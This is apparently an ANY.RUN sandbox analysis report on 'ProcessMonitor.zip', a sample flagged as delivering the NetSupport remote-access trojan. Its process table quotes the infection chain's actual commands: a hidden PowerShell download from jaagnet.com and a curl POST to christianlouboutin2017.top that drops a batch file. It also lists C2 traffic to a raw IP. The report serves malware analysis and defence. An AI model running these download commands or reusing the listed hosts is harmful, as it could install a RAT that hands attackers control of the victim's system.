File name:

ProcessMonitor.zip

Full analysis: https://app.any.run/tasks/45a48f9d-d594-4d9e-ad9a-d9a81e88f1bd
Verdict: Malicious activity
Threats:

NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 14:52:57
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
zphp
arch-exec
arch-doc
netsupport
remote
rmm-tool
auto
tool
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=store
MD5:

3C45BFA7C915B750EBFA69680FA73366

SHA1:

BAD0D68AA33DB92AFB3F5A5778078AC05CC274B1

SHA256:

3E02B407AC7DEBDA5794072DE7EEDD2A3E1D90E46963CDAB99814D0806402348

SSDEEP:

98304:qIaE2qIBFqQNwnmka7oIrmRToCpV19n1Wj0oI+qhYRapGX8nD/Rd99aTnA8EZsoi:xZc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • NETSUPPORT has been detected (YARA)

      • client32.exe (PID: 6808)

    • NETSUPPORT has been found (auto)

      • powershell.exe (PID: 7144)
      • powershell.exe (PID: 632)

    • Connects to the CnC server

      • client32.exe (PID: 6808)

    • NETSUPPORT has been detected (SURICATA)

      • client32.exe (PID: 6808)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

  • SUSPICIOUS

    • Contacting a server suspected of hosting an Exploit Kit

      • svchost.exe (PID: 2196)
      • curl.exe (PID: 1628)

    • Reads the date of Windows installation

      • Procmon64.exe (PID: 1020)

    • Reads security settings of Internet Explorer

      • Procmon64.exe (PID: 1020)

    • Application launched itself

      • Procmon64.exe (PID: 1020)

    • Creates files in the driver directory

      • Procmon64.exe (PID: 5056)

    • Creates or modifies Windows services

      • Procmon64.exe (PID: 5056)

    • Drops a system driver (possible attempt to evade defenses)

      • Procmon64.exe (PID: 5056)

    • Executable content was dropped or overwritten

      • Procmon64.exe (PID: 5056)
      • powershell.exe (PID: 7144)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 632)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 7144)
      • powershell.exe (PID: 632)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 5812)

    • Connects to the server without a host name

      • client32.exe (PID: 6808)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 5812)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • Drop NetSupport executable file

      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

  • INFO

    • Checks supported languages

      • curl.exe (PID: 1628)
      • Procmon64.exe (PID: 1020)
      • Procmon64.exe (PID: 5056)

    • Reads the computer name

      • curl.exe (PID: 1628)
      • Procmon64.exe (PID: 1020)
      • Procmon64.exe (PID: 5056)

    • Manual execution by a user

      • WinRAR.exe (PID: 2136)
      • WinRAR.exe (PID: 4200)
      • Procmon64.exe (PID: 1020)
      • notepad.exe (PID: 736)
      • cmd.exe (PID: 5812)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 736)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 2136)
      • Procmon64.exe (PID: 5056)
      • powershell.exe (PID: 632)
      • powershell.exe (PID: 7144)

    • Reads product name

      • Procmon64.exe (PID: 1020)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2136)

    • Process checks whether UAC notifications are on

      • Procmon64.exe (PID: 1020)

    • Reads Environment values

      • Procmon64.exe (PID: 1020)

    • Process checks computer location settings

      • Procmon64.exe (PID: 1020)

    • Reads CPU info

      • Procmon64.exe (PID: 5056)

    • Reads the time zone

      • Procmon64.exe (PID: 5056)

    • Reads the software policy settings

      • slui.exe (PID: 1676)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2025:05:15 10:11:58
ZipCRC: 0x00000000
ZipCompressedSize: -
ZipUncompressedSize: -
ZipFileName: ProcessMonitor/
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
154
Monitored processes
18
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start curl.exe conhost.exe no specs svchost.exe sppextcomobj.exe no specs slui.exe winrar.exe no specs winrar.exe rundll32.exe no specs notepad.exe no specs procmon64.exe no specs procmon64.exe slui.exe cmd.exe no specs conhost.exe no specs #NETSUPPORT powershell.exe #NETSUPPORT powershell.exe #NETSUPPORT client32.exe reg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
632powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://jaagnet.com/tsks.zip?3f17196583013ffea411' -OutFile 'C:\Users\admin\AppData\Roaming\Application.zip'" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
736"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\ProcessMonitor\Eula.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
1020"C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe" C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe—explorer.exe
User:
admin
Company:
Sysinternals - www.sysinternals.com
Integrity Level:
MEDIUM
Description:
Process Monitor
Version:
4.01
Modules
Images
c:\users\admin\desktop\processmonitor\procmon64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1628"C:\Windows\System32\curl.exe" -k -Ss -X POST "https://christianlouboutin2017.top/ifh/lll.php" -o "C:\Users\Admin\Desktop\dfgfhf.bat"C:\Windows\System32\curl.exe
explorer.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
1676"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2136"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\ProcessMonitor.zip" C:\Users\admin\Desktop\C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4200"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\ProcessMonitor.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
4868C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
5056"C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe" C:\Users\admin\Desktop\ProcessMonitor\Procmon64.exe
Procmon64.exe
User:
admin
Company:
Sysinternals - www.sysinternals.com
Integrity Level:
HIGH
Description:
Process Monitor
Version:
4.01
Modules
Images
c:\users\admin\desktop\processmonitor\procmon64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\version.dll
Total events
14 587
Read events
14 547
Write events
36
Delete events
4

Modification events

(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\ProcessMonitor.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:name
Value:
256
(PID) Process:(4200) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:size
Value:
80
Executable files
18
Suspicious files
12
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
1628curl.exeC:\Users\admin\Desktop\dfgfhf.battext
MD5:AD62FA7E0ED1C365040DDA6001DD6114
SHA256:6BF032CB0D23012A6D0D093B50CBDF5175B9B846DC8BEB591410E794ED25C50B
5056Procmon64.exeC:\Windows\INF\wvid.PNFbinary
MD5:9D0FC4E20C44C5D081FFB94218C43E6C
SHA256:136FF5F4AD7C9EF06313D18215F75053E758E9028EF47BB4EFA22E5D2A82DEB2
5056Procmon64.exeC:\Windows\System32\drivers\PROCMON24.SYSexecutable
MD5:03480D56A090F0CD397677251F747929
SHA256:2A5A61BDA7B7B5D6E69B588FFBF625A1534D5A94F39801F6E0376774AA103DD9
5056Procmon64.exeC:\Windows\INF\basicdisplay.PNFbinary
MD5:914DCB989709A0CE3F4B24A4CD147F1A
SHA256:C2FEE0EAD23C7B3B509FDDE94DDD6A549F999F364C5CA9D09AC084F22BC0ECB4
5056Procmon64.exeC:\Windows\INF\basicrender.PNFbinary
MD5:8567F128605CC616A38D0870D077D165
SHA256:7B2D28D317F49EED7BC242241E54EB3FFFB512C5FB6F719C4F5E9395E6B1F533
2136WinRAR.exeC:\Users\admin\Desktop\ProcessMonitor\Eula.txttext
MD5:BC6AC86BD1816F839830F2E574757CA9
SHA256:B6B3B63113802CE5498F997EDAF28A1D03848AA2AE0E6D537E7AFE7856B23131
7144powershell.exeC:\Users\admin\AppData\Roaming\Options\HTCTL32.DLLexecutable
MD5:2D3B207C8A48148296156E5725426C7F
SHA256:EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
632powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tizfbpae.i01.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7144powershell.exeC:\Users\admin\AppData\Roaming\Options\NSM.LICtext
MD5:390C964070626A64888D385C514F568E
SHA256:AD0D05305FDEB3736C1E8D49C3A6746073D27B4703EB6DE6589BDC4AA72D7B54
7144powershell.exeC:\Users\admin\AppData\Roaming\Options\NSM.inibinary
MD5:88B1DAB8F4FD1AE879685995C90BD902
SHA256:60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
50
DNS requests
33
Threats
23

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
92.123.22.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
616
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
616
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6808
client32.exe
POST
200
94.158.245.104:443
http://94.158.245.104/fakeurl.htm
unknown
—
—
unknown
6808
client32.exe
POST
200
94.158.245.104:443
http://94.158.245.104/fakeurl.htm
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
92.123.22.101:80
www.microsoft.com
AKAMAI-AS
AT
whitelisted
1628
curl.exe
77.83.199.34:443
christianlouboutin2017.top
HZ Hosting Ltd
US
malicious
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.66:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2112
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.142
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.72
whitelisted
www.microsoft.com
  • 92.123.22.101
  • 95.101.149.131
whitelisted
christianlouboutin2017.top
  • 77.83.199.34
malicious
client.wns.windows.com
  • 172.211.123.250
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.160.66
  • 40.126.32.74
  • 40.126.32.134
  • 20.190.160.130
  • 20.190.160.128
  • 20.190.160.131
  • 20.190.160.2
  • 20.190.160.64
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (christianlouboutin2017 .top)
1628
curl.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT ZPHP Domain in TLS SNI (christianlouboutin2017 .top)
6808
client32.exe
Potentially Bad Traffic
ET INFO HTTP traffic on port 443 (POST)
6808
client32.exe
Potentially Bad Traffic
ET INFO HTTP traffic on port 443 (POST)
6808
client32.exe
A Network Trojan was detected
REMOTE [ANY.RUN] NetSupport RAT
6808
client32.exe
A Network Trojan was detected
REMOTE [ANY.RUN] NetSupport RAT
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Checkin
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Response
6808
client32.exe
Misc activity
ET REMOTE_ACCESS NetSupport Remote Admin Checkin
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
ProcessMonitor.zip